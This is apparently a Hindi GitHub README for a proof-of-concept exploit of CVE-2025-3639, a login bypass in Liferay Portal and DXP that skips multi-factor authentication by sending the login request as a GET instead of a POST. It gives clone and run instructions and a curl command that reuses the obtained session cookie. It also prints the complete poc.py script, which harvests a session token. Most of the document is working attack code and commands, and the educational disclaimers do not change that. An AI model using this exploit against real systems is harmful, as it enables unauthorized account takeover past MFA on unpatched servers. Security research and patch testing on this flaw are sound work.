
Liferay Portal (संस्करण 7.3.0–7.4.3.132) और Liferay DXP (2024.Q1 से 2025.Q1.6 तक विभिन्न संस्करण) में लॉगिन बाईपास भेद्यता
इस रिपॉजिटरी में CVE-2025-3639 के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) है, जो Liferay Portal (संस्करण 7.3.0–7.4.3.132) और Liferay DXP (2024.Q1 से 2025.Q1.6 तक विभिन्न संस्करणों) में एक लॉगिन बाईपास भेद्यता है। PoC दर्शाता है कि कैसे एक अप्रमाणित उपयोगकर्ता वैध क्रेडेंशियल्स के साथ POST अनुरोध को GET अनुरोध में संशोधित करके मल्टी-फैक्टर ऑथेंटिकेशन (MFA) को बायपास कर सकता है, संभावित रूप से उपयोगकर्ता खातों तक अनधिकृत पहुंच प्राप्त कर सकता है।
चेतावनी: यह PoC केवल शैक्षिक उद्देश्यों के लिए है। इस भेद्यता का अनधिकृत परीक्षण या दोहन अवैध और अनैतिक है। केवल सिस्टम स्वामी से स्पष्ट लिखित अनुमति प्राप्त करके उपयोग करें।
sudo apt-get update
sudo apt-get install python3 python3-requests
pip3 install requests
रिपॉजिटरी को क्लोन करें:
git clone https://github.com/6lj/CVE-2025-3639.git
cd CVE-2025-3639
सुनिश्चित करें कि Python 3 और requests लाइब्रेरी स्थापित हैं:
pip3 install requests
PoC स्क्रिप्ट को उपयुक्त तर्कों के साथ चलाएँ (<target_url>, <username>, और <password> को लक्ष्य Liferay इंस्टेंस URL और वैध क्रेडेंशियल्स से बदलें)।
poc.pypython3 poc.py --target <target_url> --username <username> --password <password>
--target: Liferay Portal/DXP इंस्टेंस का URL (जैसे, http://example.com)।--username: लक्ष्य इंस्टेंस के लिए वैध उपयोगकर्ता नाम।--password: उपयोगकर्ता नाम के लिए वैध पासवर्ड।python3 poc.py --target http://192.168.1.100 --username [email protected] --password Test123!
सफलता: यदि शोषण काम करता है, तो स्क्रिप्ट एक वैध सत्र टोकन या MFA के बिना उपयोगकर्ता खाते तक पहुँच का संकेत देने वाला सफलता संदेश लौटाएगी।
curl -b "COOKIE=<session_token>" http://<target_url>/api/jsonws/user/get-current-user
विफलता: यदि सर्वर कोई त्रुटि लौटाता है (जैसे, 401 Unauthorized या 403 Forbidden), तो इंस्टेंस संभवतः संवेदनशील नहीं है, या MFA सक्षम नहीं है।
ट्रैफ़िक की निगरानी करें: HTTP ट्रैफ़िक का निरीक्षण करने के लिए Wireshark जैसे टूल का उपयोग करें:
sudo wireshark -f "tcp port 80 or tcp port 443"
नीचे poc.py का नमूना कोड है:
import requests
import argparse
def exploit(target, username, password):
print(f"[*] Attempting CVE-2025-3639 exploit on {target}")
login_url = f"{target}/c/portal/login"
params = {
"p_auth": "",
"login": username,
"password": password
}
try:
response = requests.get(login_url, params=params, allow_redirects=True)
if response.status_code == 200 and "JSESSIONID" in response.cookies:
print(f"[+] Success! Session token: {response.cookies['JSESSIONID']}")
return True
else:
print(f"[-] Failed: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[-] Error: {str(e)}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-3639 PoC for Liferay Portal/DXP")
parser.add_argument("--target", required=True, help="Target Liferay URL (e.g., http://example.com)")
parser.add_argument("--username", required=True, help="Valid username")
parser.add_argument("--password", required=True, help="Valid password")
args = parser.parse_args()
exploit(args.target, args.username, args.password)
यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों के लिए है। लेखक इस PoC के किसी भी अनधिकृत या अवैध उपयोग के लिए जिम्मेदार नहीं है। परीक्षण से पहले हमेशा सिस्टम स्वामी से स्पष्ट अनुमति प्राप्त करें।